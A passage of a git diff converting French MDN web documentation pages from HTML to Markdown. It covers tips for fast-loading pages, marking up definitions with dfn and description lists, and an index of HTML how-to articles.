sont diffusées progressivement depuis le serveur, elles ne ralentisseent donc pas le chargement de votre page. -<h3 id="Réduire_les_domaines_des_recherches">Réduire les domaines des recherches</h3> +### Réduire les domaines des recherches -<p>Étant donné que chaque requete DNS demande du temps, le temps de chargement de la page va augmenter avec l'augmentation du nombre de domaines séparés figurant dans le lien CSS, JavaScript et image (src). Vous devez toujours prendre soin de n'utiliser que le nombre minimum nécessaire de différents domaines dans vos pages.</p> +Étant donné que chaque requete DNS demande du temps, le temps de chargement de la page va augmenter avec l'augmentation du nombre de domaines séparés figurant dans le lien CSS, JavaScript et image (src). Vous devez toujours prendre soin de n'utiliser que le nombre minimum nécessaire de différents domaines dans vos pages. -<h3 id="Réutiliser_le_contenu_du_cache">Réutiliser le contenu du cache</h3> +### Réutiliser le contenu du cache -<p>Assurez-vous que tout contenu qui peut être mis en cache, est mis en cache, et avec un temps d'expiration appropriée.<br> - En particulier, attention à l'en-tête "Last-Modified". Elle permet la mise en cache de la page; grâce à cette en-tête, l'information est transmise au navigateur (ou "user agent") sur le fichier qu'il veut charger, comme lors de sa dernière modification. La plupart des serveurs web ajoute automatiquement l'en-tête "Last-Modified" aux pages statiques (par exemple. html,. css), basé sur la date de la dernière modification stockées dans le système de fichiers. Avec des pages dynamiques (p. ex. Php,. Aspx), ceci, bien sûr, ne peut pas être fait, et l'en-tête n'est pas envoyé.<br> - En particulier pour les pages qui sont générées dynamiquement, une petite recherche sur ce sujet est bénéfique. Il peut être quelque peu complexe, mais il permettra d'économiser beaucoup de demandes de page sur des pages qui ne devraient normalement pas être mis en cache.<br> - <br> - Plus d'informations:<br> - <br> - 1. <a class="external" href="http://fishbowl.pastiche.org/2002/10/21/http_conditional_get_for_rss_hackers">HTTP Conditional Get for RSS Hackers</a><br> - 2. <a class="external" href="http://annevankesteren.nl/archives/2005/05/http-304">HTTP 304: Not Modified</a><br> - 3. <a class="external" href="http://www.cmlenz.net/blog/2005/05/on_http_lastmod.html">On HTTP Last-Modified and ETag</a></p> +Assurez-vous que tout contenu qui peut être mis en cache, est mis en cache, et avec un temps d'expiration appropriée. +En particulier, attention à l'en-tête "Last-Modified". Elle permet la mise en cache de la page; grâce à cette en-tête, l'information est transmise au navigateur (ou "user agent") sur le fichier qu'il veut charger, comme lors de sa dernière modification. La plupart des serveurs web ajoute automatiquement l'en-tête "Last-Modified" aux pages statiques (par exemple. html,. css), basé sur la date de la dernière modification stockées dans le système de fichiers. Avec des pages dynamiques (p. ex. Php,. Aspx), ceci, bien sûr, ne peut pas être fait, et l'en-tête n'est pas envoyé. +En particulier pour les pages qui sont générées dynamiquement, une petite recherche sur ce sujet est bénéfique. Il peut être quelque peu complexe, mais il permettra d'économiser beaucoup de demandes de page sur des pages qui ne devraient normalement pas être mis en cache. -<h3 id="Réduire_le_nombre_de_scripts_en_ligne">Réduire le nombre de scripts en ligne</h3> +Plus d'informations: -<p>Les scripts intégrés peut être coûteux pour le chargement de la page, puisque l'analyseur (ou parser) doit supposer qu'un script intégré pourrait modifier la structure de la page quand le "parsing" est en cours. Il est donc préférable, en général, de réduire l'utilisation des scripts intégrés et l'utilisation de document.write(), en particulier au contenu de sortie. Ces manipulations peuvent améliorer chargement globale de la page. Utilisez des méthodes modernes de W3C-DOM pour manipuler le contenu de la page pour les navigateurs modernes, plutôt que des approches plus fondées sur document.write ().</p> +1. [HTTP Conditional Get for RSS Hackers](http://fishbowl.pastiche.org/2002/10/21/http_conditional_get_for_rss_hackers) + 2. [HTTP 304: Not Modified](http://annevankesteren.nl/archives/2005/05/http-304) + 3. [On HTTP Last-Modified and ETag](http://www.cmlenz.net/blog/2005/05/on_http_lastmod.html) -<h3 id="Utilisez_le_CSS_moderne_et_des_balises_valides">Utilisez le CSS moderne et des balises valides</h3> +### Réduire le nombre de scripts en ligne -<p>L'utilisation de CSS modernes réduit la quantité de balisage, et peut réduire la nécessité de "spacer" les images, en termes de disposition, et peut très souvent remplacer des images de texte stylisé - qui "coutent" beaucoup plus que l'équivalent texte-et-CSS.<br> - Utiliser des balises valides a d'autres avantages. Tout d'abord, les navigateurs n'ont pas besoin d'effectuer de corrections d'erreurs lors de l'analyse du code HTML.<br> - En outre, la validité du balisage permet la libre utilisation d'autres outils qui peuvent pré-traiter vos pages web. Par exemple, <a class="external" href="http://tidy.sourceforge.net/">HTML Tidy</a> peut supprimer des espaces blancs et des balises facultatives, mais il refusera de s'exécuter sur une page avec des erreurs de balisage graves.</p> +Les scripts intégrés peut être coûteux pour le chargement de la page, puisque l'analyseur (ou parser) doit supposer qu'un script intégré pourrait modifier la structure de la page quand le "parsing" est en cours. Il est donc préférable, en général, de réduire l'utilisation des scripts intégrés et l'utilisation de document.write(), en particulier au contenu de sortie. Ces manipulations peuvent améliorer chargement globale de la page. Utilisez des méthodes modernes de W3C-DOM pour manipuler le contenu de la page pour les navigateurs modernes, plutôt que des approches plus fondées sur document.write (). -<h3 id="Segmentez_votre_contenu">Segmentez votre contenu</h3> +### Utilisez le CSS moderne et des balises valides -<p>Remplacer la mise en page basé sur des <table> par des blocs <div>, plutôt que des <table> très imbriquée comme dans l'exemple suivant:</p> +L'utilisation de CSS modernes réduit la quantité de balisage, et peut réduire la nécessité de "spacer" les images, en termes de disposition, et peut très souvent remplacer des images de texte stylisé - qui "coutent" beaucoup plus que l'équivalent texte-et-CSS. +Utiliser des balises valides a d'autres avantages. Tout d'abord, les navigateurs n'ont pas besoin d'effectuer de corrections d'erreurs lors de l'analyse du code HTML. +En outre, la validité du balisage permet la libre utilisation d'autres outils qui peuvent pré-traiter vos pages web. Par exemple, [HTML Tidy](http://tidy.sourceforge.net/) peut supprimer des espaces blancs et des balises facultatives, mais il refusera de s'exécuter sur une page avec des erreurs de balisage graves. -<pre><TABLE> - <TABLE> - <TABLE> - ... - </TABLE> - </TABLE> -</TABLE> +### Segmentez votre contenu -</pre> +Remplacer la mise en page basé sur des \<table> par des blocs \<div>, plutôt que des \<table> très imbriquée comme dans l'exemple suivant: -<p>Préferez des <table> non-imbriquées ou <div> comme dans l'exemple suivant:</p> + <TABLE> + <TABLE> + <TABLE> + ... + </TABLE> + </TABLE> + </TABLE> -<pre>> TABLE <TABLE> ...</ -> TABLE <TABLE> ...</ -> TABLE <TABLE> ...</</pre> +Préferez des \<table> non-imbriquées ou \<div> comme dans l'exemple suivant: -<h3 id="Préciser_la_taille_des_images_et_des_tableaux">Préciser la taille des images et des tableaux</h3> + > TABLE <TABLE> ...</ + > TABLE <TABLE> ...</ + > TABLE <TABLE> ...</ -<p>Si le navigateur peut immédiatement déterminer la hauteur et/ou la largeur de vos images et tableaux, il sera capable d'afficher une page web sans avoir à refondre le contenu. Cela n'augmente pas seulement la vitesse d'affichage de la page, mais aussi à empêcher les changements gênants dans la disposition d'une page lors du chargement. Pour cette raison, la hauteur et la largeur doit être spécifié pour les images, chaque fois que possible.<br> - Les tableaux doivent utiliser le sélecteur CSS selector:property combination:</p> +### Préciser la taille des images et des tableaux -<pre> table-layout: fixed; +Si le navigateur peut immédiatement déterminer la hauteur et/ou la largeur de vos images et tableaux, il sera capable d'afficher une page web sans avoir à refondre le contenu. Cela n'augmente pas seulement la vitesse d'affichage de la page, mais aussi à empêcher les changements gênants dans la disposition d'une page lors du chargement. Pour cette raison, la hauteur et la largeur doit être spécifié pour les images, chaque fois que possible. +Les tableaux doivent utiliser le sélecteur CSS selector:property combination: -</pre> + table-layout: fixed; -<p>et doit spécifier la largeur des colonnes en utilisant le COL et les balises html COLGROUP.</p> +et doit spécifier la largeur des colonnes en utilisant le COL et les balises html COLGROUP. -<h3 id="Choisissez_les_versions_des_navigateur_ciblés">Choisissez les versions des navigateur ciblés</h3> +### Choisissez les versions des navigateur ciblés -<p><br> - Pour atteindre les plus grandes améliorations dans la conception de la page, assurez-vous que des exigences raisonnables de l'agent utilisateur (user-agent) soit définies pour les projets. Cela ne nécessite pas que votre contenu apparaisse parfaitement sur tous les navigateurs, et surtout pas dans les navigateurs d'une version anterieure.<br> - <br> - Idéalement, vous devriez vous concentrez sur l'examen des navigateurs modernes qui prennent en charge des normes pertinentes. Il peut s'agir de: Firefox 5, Internet Explorer 9 sur Windows, Opera 11 sous Windows et Safari 5 sur Mac OS X.<br> - <br> - Notez, cependant, que beaucoup de conseils énumérés dans cette page sont des techniques de bon sens qui s'applique à tous, et peuvent être appliquées à n'importe quelle page web, indépendamment des exigences relatives des navigateurs.</p> +Pour atteindre les plus grandes améliorations dans la conception de la page, assurez-vous que des exigences raisonnables de l'agent utilisateur (user-agent) soit définies pour les projets. Cela ne nécessite pas que votre contenu apparaisse parfaitement sur tous les navigateurs, et surtout pas dans les navigateurs d'une version anterieure. -<h3 id="Liens_connexes">Liens connexes</h3> +Idéalement, vous devriez vous concentrez sur l'examen des navigateurs modernes qui prennent en charge des normes pertinentes. Il peut s'agir de: Firefox 5, Internet Explorer 9 sur Windows, Opera 11 sous Windows et Safari 5 sur Mac OS X. -<p><br> - * <a class="external" href="http://www.alsacreations.com/astuce/lire/527-optimisez-vos-pages-avec-yslow.html">Optimisez vos pages avec Yslow</a><br> - * <a class="external" href="http://www.websiteoptimization.com/">Livre: "Speed Up Your Site" par Andy King</a><br> - *<a class="external" href="http://webmonkey.wired.com/webmonkey/design/site_building/tutorials/tutorial2.html"> Site Optimization Tutorial </a>(WebMonkey) (en anglais) <br> - * <a class="external" href="http://developer.yahoo.com/performance/rules.html">Best Practices for Speeding Up Your Web Site</a> (en anglais) </p> +Notez, cependant, que beaucoup de conseils énumérés dans cette page sont des techniques de bon sens qui s'applique à tous, et peuvent être appliquées à n'importe quelle page web, indépendamment des exigences relatives des navigateurs. -<p> </p> +### Liens connexes -<p><strong>Document d'information d'origine</strong><br> - <br> - * https://developer.mozilla.org/en/Tips_for_Authoring_Fast-loading_HTML_Pages</p> +\* [Optimisez vos pages avec Yslow](http://www.alsacreations.com/astuce/lire/527-optimisez-vos-pages-avec-yslow.html) + \* [Livre: "Speed Up Your Site" par Andy King](http://www.websiteoptimization.com/) + \*[ Site Optimization Tutorial ](http://webmonkey.wired.com/webmonkey/design/site_building/tutorials/tutorial2.html)(WebMonkey) (en anglais) + \* [Best Practices for Speeding Up Your Web Site](http://developer.yahoo.com/performance/rules.html) (en anglais) + + + +**Document d'information d'origine** + +\* https\://developer.mozilla.org/en/Tips_for_Authoring_Fast-loading_HTML_Pages diff --git a/files/fr/learn/html/howto/define_terms_with_html/index.md b/files/fr/learn/html/howto/define_terms_with_html/index.md index c4a834b1a4..fea14083ae 100644 --- a/files/fr/learn/html/howto/define_terms_with_html/index.md +++ b/files/fr/learn/html/howto/define_terms_with_html/index.md @@ -9,142 +9,141 @@ tags: translation_of: Learn/HTML/Howto/Define_terms_with_HTML original_slug: Apprendre/HTML/Comment/Définir_des_termes_avec_HTML --- -<p>HTML fournit plusieurs méthodes pour décrire la sémantique du contenu qu'on emploie (que ce soit intégré dans le texte ou dans un glossaire à part). Dans cet article, nous verrons comment correctement définir les termes utilisés au sein d'un document.</p> +HTML fournit plusieurs méthodes pour décrire la sémantique du contenu qu'on emploie (que ce soit intégré dans le texte ou dans un glossaire à part). Dans cet article, nous verrons comment correctement définir les termes utilisés au sein d'un document. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vous devez au préalable savoir comment <a href="/fr/Learn/HTML/Write_a_simple_page_in_HTML">créer un document HTML simple</a>.</td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Apprendre comment introduire de nouveaux mots-clés et comment construire une liste de définitions.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vous devez au préalable savoir comment + <a href="/fr/Learn/HTML/Write_a_simple_page_in_HTML" + >créer un document HTML simple</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td> + Apprendre comment introduire de nouveaux mots-clés et comment construire + une liste de définitions. + </td> + </tr> + </tbody> </table> -<p>Lorsqu'on souhaite définir un terme, on utilise généralement un dictionnaire ou un glossaire. Les dictionnaires et glossaires permettent d'associer formellement des termes clés avec une ou plusieurs descriptions. Par exemple :</p> +Lorsqu'on souhaite définir un terme, on utilise généralement un dictionnaire ou un glossaire. Les dictionnaires et glossaires permettent d'associer formellement des termes clés avec une ou plusieurs descriptions. Par exemple : -<blockquote> -<dl> - <dt>Bleu (<em>adjectif</em>)</dt> - <dd>La couleur du ciel lors d'un temps clair.<br> - <em><q>Le ciel est bleu.</q></em></dd> -</dl> -</blockquote> +> - Bleu (_adjectif_) +> - : La couleur du ciel lors d'un temps clair. +> _"Le ciel est bleu."_ -<p>Mais il arrive fréquemment qu'on définisse des termes de façon moins formelle, comme ici :</p> +Mais il arrive fréquemment qu'on définisse des termes de façon moins formelle, comme ici : -<blockquote> -<p><em><dfn>Firefox</dfn></em> est le navigateur web créé et développé par la Fondation Mozilla.</p> -</blockquote> +> **Firefox** est le navigateur web créé et développé par la Fondation Mozilla. -<p>Pour gérer ces différents cas d'utilisation, {{Glossary("HTML")}} fournit différents éléments qui permettent de marquer les termes définis et leurs descriptions afin que vos lecteurs puissent utiliser ces informations.</p> +Pour gérer ces différents cas d'utilisation, {{Glossary("HTML")}} fournit différents éléments qui permettent de marquer les termes définis et leurs descriptions afin que vos lecteurs puissent utiliser ces informations. -<h2 id="Comment_écrire_un_description_informelle">Comment écrire un description informelle</h2> +## Comment écrire un description informelle -<p>Dans certains manuels, à la première occurence d'un terme, celui-ci est placé en gras et défini immédiatement.</p> +Dans certains manuels, à la première occurence d'un terme, celui-ci est placé en gras et défini immédiatement. -<p>On peut procéder de cette façon avec HTML. En revanche, HTML ne gère pas l'aspect visuel d'un document, uniquement son contenu. On utilisera l'élément {{htmlelement("dfn")}} qui permet d'identifier la première occurence d'un terme. Attention, <code><dfn></code> enveloppe le terme à définir et pas sa définition (qui elle s'étend sur le paragraphe courant) :</p> +On peut procéder de cette façon avec HTML. En revanche, HTML ne gère pas l'aspect visuel d'un document, uniquement son contenu. On utilisera l'élément {{htmlelement("dfn")}} qui permet d'identifier la première occurence d'un terme. Attention, `<dfn>` enveloppe le terme à définir et pas sa définition (qui elle s'étend sur le paragraphe courant) : -<pre class="brush: html"><p><dfn>Firefox</dfn> est le navigateur créé et développé par la Fondation Mozilla.</p> -</pre> +```html +<p><dfn>Firefox</dfn> est le navigateur créé et développé par la Fondation Mozilla.</p> +``` -<div class="note"> -<p><strong>Note :</strong> On utilise également parfois le gras pour mettre en avant du contenu. Le gras, en tant que tel, est un concept qui n'appartient pas à HTML mais à la mise en forme. En revanche, pour mettre en avant (utiliser une emphase), il existe <a href="/fr/Apprendre/HTML/Howto/Emphasize_content_or_indicate_that_text_is_important">des éléments HTML tout indiqués</a>.</p> -</div> +> **Note :** On utilise également parfois le gras pour mettre en avant du contenu. Le gras, en tant que tel, est un concept qui n'appartient pas à HTML mais à la mise en forme. En revanche, pour mettre en avant (utiliser une emphase), il existe [des éléments HTML tout indiqués](/fr/Apprendre/HTML/Howto/Emphasize_content_or_indicate_that_text_is_important). -<h3 id="Cas_spécifique_les_abréviations">Cas spécifique : les abréviations</h3> +### Cas spécifique : les abréviations -<p>En ce qui concerne les abréviations, il est préférable <a href="/fr/Apprendre/HTML/Howto/Mark_abbreviations_and_make_them_understandable">de les identifier séparement</a> grâce à l'élément {{htmlelement("abbr")}} afin que les lecteurs d'écrans puissent les utiliser correctement. Comme pour la définition d'un nouveau terme, une abréviation doit être définie lors de sa première apparition.</p> +En ce qui concerne les abréviations, il est préférable [de les identifier séparement](/fr/Apprendre/HTML/Howto/Mark_abbreviations_and_make_them_understandable) grâce à l'élément {{htmlelement("abbr")}} afin que les lecteurs d'écrans puissent les utiliser correctement. Comme pour la définition d'un nouveau terme, une abréviation doit être définie lors de sa première apparition. -<pre class="brush: html"><p> - <dfn><abbr>HTML</abbr> (hypertext markup language)</dfn> +```html +<p> + <dfn><abbr>HTML</abbr> (hypertext markup language)</dfn> est un langage de description utilisé pour structurer des documents sur le Web. -</p></pre> +</p> +``` -<div class="note"> -<p><strong>Note :</strong> La spécification HTML <a href="http://www.w3.org/TR/html/text-level-semantics.html#the-abbr-element">met en avant l'attribut <code>title</code></a> pour expliciter les termes de l'abréviation. Cependant, il reste nécessaire d'utiliser le texte classique pour fournir une explication car le contenu de l'attribut <code>title</code> ne sera pas montré aux utilisateurs, sauf si ceux-ci passent la souris au-dessus de l'abréviation. C'est également <a href="http://www.w3.org/TR/html/dom.html#attr-title">ce qui est noté dans les spécifications</a>.</p> -</div> +> **Note :** La spécification HTML [met en avant l'attribut `title`](http://www.w3.org/TR/html/text-level-semantics.html#the-abbr-element) pour expliciter les termes de l'abréviation. Cependant, il reste nécessaire d'utiliser le texte classique pour fournir une explication car le contenu de l'attribut `title` ne sera pas montré aux utilisateurs, sauf si ceux-ci passent la souris au-dessus de l'abréviation. C'est également [ce qui est noté dans les spécifications](http://www.w3.org/TR/html/dom.html#attr-title). -<h3 id="Améliorer_l'accessibilité">Améliorer l'accessibilité</h3> +### Améliorer l'accessibilité -<p>{{HTMLElement('dfn')}} identifie le terme qui est défini et indique que le paragraphe courant définit le terme. Il y a donc une relation implicite entre l'élément <code><dfn></code> et l'élément qui le contient. Si vous souhaitez avoir une relation plus formelle ou que votre définition ne s'étend que sur une ou plusieurs phrases plutôt que sur l'ensemble du paragraphe, vous pouvez utiliser l'attribut <code><a href="/fr/docs/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-describedby">aria-discribedby</a></code> pour associer, formellement, un terme à sa définition :</p> +{{HTMLElement('dfn')}} identifie le terme qui est défini et indique que le paragraphe courant définit le terme. Il y a donc une relation implicite entre l'élément `<dfn>` et l'élément qui le contient. Si vous souhaitez avoir une relation plus formelle ou que votre définition ne s'étend que sur une ou plusieurs phrases plutôt que sur l'ensemble du paragraphe, vous pouvez utiliser l'attribut [`aria-discribedby`](/fr/docs/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-describedby) pour associer, formellement, un terme à sa définition : -<pre class="brush: html"><p> - <span id="ff"> - <dfn aria-describedby="ff">Firefox</dfn> +```html +<p> + <span id="ff"> + <dfn aria-describedby="ff">Firefox</dfn> est le navigateur web créé et développé par la Fondation Mozilla. - </span> - Vous pouvez le télécharger sur <a href="http://www.mozilla.org">mozilla.org</a> -</p></pre> + </span> + Vous pouvez le télécharger sur <a href="http://www.mozilla.org">mozilla.org</a> +</p> +``` -<p>Les technologies d'assistance à la navigation pourront tirer parti de cet attribut pour fournir un texte alternatif pour un terme donné. <code>aria-describedby</code> peut être utilisé pour n'importe quelle balise contenant un mot-clé à définir (il n'est pas nécessaire que ce soit <code><dfn></code>). <code>aria-describedby</code> utilise un référence à l'{{htmlattrxref('id')}} de l'élément qui contient la description.</p> +Les technologies d'assistance à la navigation pourront tirer parti de cet attribut pour fournir un texte alternatif pour un terme donné. `aria-describedby` peut être utilisé pour n'importe quelle balise contenant un mot-clé à définir (il n'est pas nécessaire que ce soit `<dfn>`). `aria-describedby` utilise un référence à l'{{htmlattrxref('id')}} de l'élément qui contient la description. -<h2 id="Comment_construire_une_liste_de_descriptions">Comment construire une liste de descriptions</h2> +## Comment construire une liste de descriptions -<p>Les listes de descriptions sont des listes de termes associés à leur description (par exemple une liste de définition, des entrées d'un dictionnaire, une FAQ, des paires de clés-valeurs, etc.).</p> +Les listes de descriptions sont des listes de termes associés à leur description (par exemple une liste de définition, des entrées d'un dictionnaire, une FAQ, des paires de clés-valeurs, etc.). -<div class="note"> -<p><strong>Note :</strong> Les listes de descriptions <a href="http://www.w3.org/TR/html5/grouping-content.html#the-dl-element">ne doivent pas être utilisées pour retranscrire des dialogues</a>. En effet, la conversation ne décrit pas les différents interlocuteurs. Voici <a href="http://www.w3.org/TR/html5/common-idioms.html#conversations">quelques recommandations pour retranscrire un dialogue dans un document web</a>.</p> -</div> +> **Note :** Les listes de descriptions [ne doivent pas être utilisées pour retranscrire des dialogues](http://www.w3.org/TR/html5/grouping-content.html#the-dl-element). En effet, la conversation ne décrit pas les différents interlocuteurs. Voici [quelques recommandations pour retranscrire un dialogue dans un document web](http://www.w3.org/TR/html5/common-idioms.html#conversations). -<p>Les termes à décrire sont placés dans des éléments {{htmlelement("dt")}} et la description, qui suit immédiatement, est placée dans un ou plusieurs éléments {{htmlelement("dd")}}. Enfin, l'ensemble de la liste est placé au sein d'un élément {{htmlelement("dl")}}.</p> +Les termes à décrire sont placés dans des éléments {{htmlelement("dt")}} et la description, qui suit immédiatement, est placée dans un ou plusieurs éléments {{htmlelement("dd")}}. Enfin, l'ensemble de la liste est placé au sein d'un élément {{htmlelement("dl")}}. -<h3 id="Un_exemple_simple">Un exemple simple</h3> +### Un exemple simple -<p>Voici un exemple simple qui dresse une liste de descriptions de plats :</p> +Voici un exemple simple qui dresse une liste de descriptions de plats : -<pre class="brush: html"><dl> - <dt>jambalaya</dt> - <dd> +```html +<dl> + <dt>jambalaya</dt> + <dd> une entrée à base de riz qui contient généralement du poulet, des saucisses, des fruits de mer et des épices - </dd> + </dd> - <dt>sukiyaki</dt> - <dd> + <dt>sukiyaki</dt> + <dd> une spécialité japonaise à base de fines tranches de viande, de légumes, de nouilles et qui est cuite dans un sauce soja et du saké - </dd> + </dd> - <dt>chianti</dt> - <dd> + <dt>chianti</dt> + <dd> un vin italien, sec, originaire de Toscane - </dd> -</dl> -</pre> + </dd> +</dl> +``` -<div class="note"> -<p><strong>Note :</strong> La structure de base qu'on voit dans cet exemple alterne les termes (<code><dt></code>) et leurs descriptions (<code><dd></code>). Si deux (ou plusieurs) termes apparaissent les uns à la suite des autres, la description qui suit s'appliquera à tout ces termes. Si deux (ou plusieurs) descriptions se suivent, elles s'appliqueront au dernier terme.</p> -</div> +> **Note :** La structure de base qu'on voit dans cet exemple alterne les termes (`<dt>`) et leurs descriptions (`<dd>`). Si deux (ou plusieurs) termes apparaissent les uns à la suite des autres, la description qui suit s'appliquera à tout ces termes. Si deux (ou plusieurs) descriptions se suivent, elles s'appliqueront au dernier terme. -<h3 id="Améliorer_l'aspect_visuel">Améliorer l'aspect visuel</h3> +### Améliorer l'aspect visuel -<p>Voici comment un navigateur affichera la liste précédente :</p> +Voici comment un navigateur affichera la liste précédente : -<p>{{EmbedLiveSample("Un_exemple_simple", 600, 180)}}</p> +{{EmbedLiveSample("Un_exemple_simple", 600, 180)}} -<p>Si vous souhaitez que les termes soient plus visibles, vous pouvez les écrire en gras. Cela ne change rien au contenu, donc ce ne sera pas HTML qui sera utilisé. En revanche, cela modifie la mise en forme et nous allons donc utiliser CSS et plus particulièrement la propriété {{cssxref("font-weight")}} :</p> +Si vous souhaitez que les termes soient plus visibles, vous pouvez les écrire en gras. Cela ne change rien au contenu, donc ce ne sera pas HTML qui sera utilisé. En revanche, cela modifie la mise en forme et nous allons donc utiliser CSS et plus particulièrement la propriété {{cssxref("font-weight")}} : -<pre class="brush: css">dt { +```css +dt { font-weight: bold; } -</pre> +``` -<p>Cela permettra d'obtenir le résultat suivant :</p> +Cela permettra d'obtenir le résultat suivant : -<p>{{EmbedLiveSample("Comment_construire_une_liste_de_descriptions", 600, 180)}}</p> +{{EmbedLiveSample("Comment_construire_une_liste_de_descriptions", 600, 180)}} -<h2 id="En_savoir_plus">En savoir plus</h2> +## En savoir plus -<ul> - <li>{{htmlelement("dfn")}}</li> - <li>{{htmlelement("dl")}}</li> - <li>{{htmlelement("dt")}}</li> - <li>{{htmlelement("dd")}}</li> - <li><a href="/fr/docs/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-describedby">Comment utiliser l'attribut <code>aria-describedby</code></a></li> -</ul> +- {{htmlelement("dfn")}} +- {{htmlelement("dl")}} +- {{htmlelement("dt")}} +- {{htmlelement("dd")}} +- [Comment utiliser l'attribut `aria-describedby`](/fr/docs/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-describedby) diff --git a/files/fr/learn/html/howto/index.md b/files/fr/learn/html/howto/index.md index e5f130e8ca..bcc9479b69 100644 --- a/files/fr/learn/html/howto/index.md +++ b/files/fr/learn/html/howto/index.md @@ -7,131 +7,106 @@ tags: translation_of: Learn/HTML/Howto original_slug: Apprendre/HTML/Comment --- -<p>Une fois <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML">les bases acquises</a>, il n'existe pas de voie idéale pour apprendre {{Glossary("HTML")}}. Vous pouvez ensuite progresser à votre rythme, en utilisant les balises qui vous sont utiles. HTML n'est qu'un ensemble de balises que vous pouvez utiliser pour structurer votre document et lui ajouter des fonctionnalités supplémentaires. Dans les articles suivants, nous travaillerons sur différents exemples illustrant comment utiliser HTML pour résoudre des problèmes fréquents qu'on rencontre lorsqu'on développe pour le Web. Si vous avez besoin d'explications détaillées sur une balise HTML donnée, n'hésitez pas à consulter <a href="/fr/docs/Web/HTML/Reference">notre référence HTML</a>.</p> +Une fois [les bases acquises](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML), il n'existe pas de voie idéale pour apprendre {{Glossary("HTML")}}. Vous pouvez ensuite progresser à votre rythme, en utilisant les balises qui vous sont utiles. HTML n'est qu'un ensemble de balises que vous pouvez utiliser pour structurer votre document et lui ajouter des fonctionnalités supplémentaires. Dans les articles suivants, nous travaillerons sur différents exemples illustrant comment utiliser HTML pour résoudre des problèmes fréquents qu'on rencontre lorsqu'on développe pour le Web. Si vous avez besoin d'explications détaillées sur une balise HTML donnée, n'hésitez pas à consulter [notre référence HTML](/fr/docs/Web/HTML/Reference). -<h2 id="Cas_d'utilisation_fréquents">Cas d'utilisation fréquents</h2> +## Cas d'utilisation fréquents -<p>HTML permet de résoudre de nombreux problèmes qui se posent lors de la conception de sites web. Il est très probable que vous rencontriez au moins l'un de ces scénarios :</p> +HTML permet de résoudre de nombreux problèmes qui se posent lors de la conception de sites web. Il est très probable que vous rencontriez au moins l'un de ces scénarios : -<h3 id="Structure_de_base">Structure de base</h3> +### Structure de base -<p>En HTML, tout commence par la structure du document. Si vous débutez avec HTML, vous devriez démarrer avec :</p> +En HTML, tout commence par la structure du document. Si vous débutez avec HTML, vous devriez démarrer avec : -<ul> - <li><a href="/fr/docs/Apprendre/HTML/Comment/Cr%C3%A9er_un_document_HTML_simple">Comment créer un document HTML simple</a></li> - <li><a href="/fr/docs/Apprendre/HTML/Comment/D%C3%A9couper_une_page_web_en_sections_logiques">Comment diviser une page web en sections logiques</a></li> - <li><a href="/fr/docs/Apprendre/HTML/Comment/Mettre_en_place_une_hi%C3%A9rarchie_de_titres">Comment organiser une hiérarchie de titres</a></li> -</ul> +- [Comment créer un document HTML simple](/fr/docs/Apprendre/HTML/Comment/Cr%C3%A9er_un_document_HTML_simple) +- [Comment diviser une page web en sections logiques](/fr/docs/Apprendre/HTML/Comment/D%C3%A9couper_une_page_web_en_sections_logiques) +- [Comment organiser une hiérarchie de titres](/fr/docs/Apprendre/HTML/Comment/Mettre_en_place_une_hi%C3%A9rarchie_de_titres) -<h3 id="Sémantique_de_base_pour_le_texte">Sémantique de base pour le texte</h3> +### Sémantique de base pour le texte -<p>Le but de HTML est de fournir des informations sémantiques (c'est-à-dire sur le sens) d'un document et de ce qui le compose. HTML permettra donc de répondre à de nombreuses questions sur le sens du texte qu'on veut utiliser dans un document.</p> +Le but de HTML est de fournir des informations sémantiques (c'est-à-dire sur le sens) d'un document et de ce qui le compose. HTML permettra donc de répondre à de nombreuses questions sur le sens du texte qu'on veut utiliser dans un document. -<ul> - <li><a href="/fr/docs/Learn/HTML/Howto/Create_list_of_items_with_HTML">Comment créer une liste d'éléments en HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Emphasize_content_or_indicate_that_text_is_important">Comment faire pour accentuer un contenu</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Emphasize_content_or_indicate_that_text_is_important">Comment indiquer qu'un texte est important</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Display_computer_code_with_HTML">Comment afficher du code informatique avec HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Indicate_exponential_notation_with_HTML">Comment indiquer une notation exponentielle avec HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Provide_contact_information_within_a_webpage">Comment fournir des informations de contact dans une page web</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Annotate_images_and_graphics">Comment annoter des images et des graphiques</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Mark_abbreviations_and_make_them_understandable">Comment marquer des abréviations et les rendre compréhensibles</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Add_citations_to_webpages">Comment ajouter des citations à une page web</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Define_terms_with_HTML">Comment définir des termes en HTML</a></li> -</ul> -<h3 id="Les_hyperliens">Les hyperliens</h3> +- [Comment créer une liste d'éléments en HTML](/fr/docs/Learn/HTML/Howto/Create_list_of_items_with_HTML) +- [Comment faire pour accentuer un contenu](/fr/docs/Learn/HTML/Howto/Emphasize_content_or_indicate_that_text_is_important) +- [Comment indiquer qu'un texte est important](/fr/docs/Learn/HTML/Howto/Emphasize_content_or_indicate_that_text_is_important) +- [Comment afficher du code informatique avec HTML](/fr/docs/Learn/HTML/Howto/Display_computer_code_with_HTML) +- [Comment indiquer une notation exponentielle avec HTML](/fr/docs/Learn/HTML/Howto/Indicate_exponential_notation_with_HTML) +- [Comment fournir des informations de contact dans une page web](/fr/docs/Learn/HTML/Howto/Provide_contact_information_within_a_webpage) +- [Comment annoter des images et des graphiques](/fr/docs/Learn/HTML/Howto/Annotate_images_and_graphics) +- [Comment marquer des abréviations et les rendre 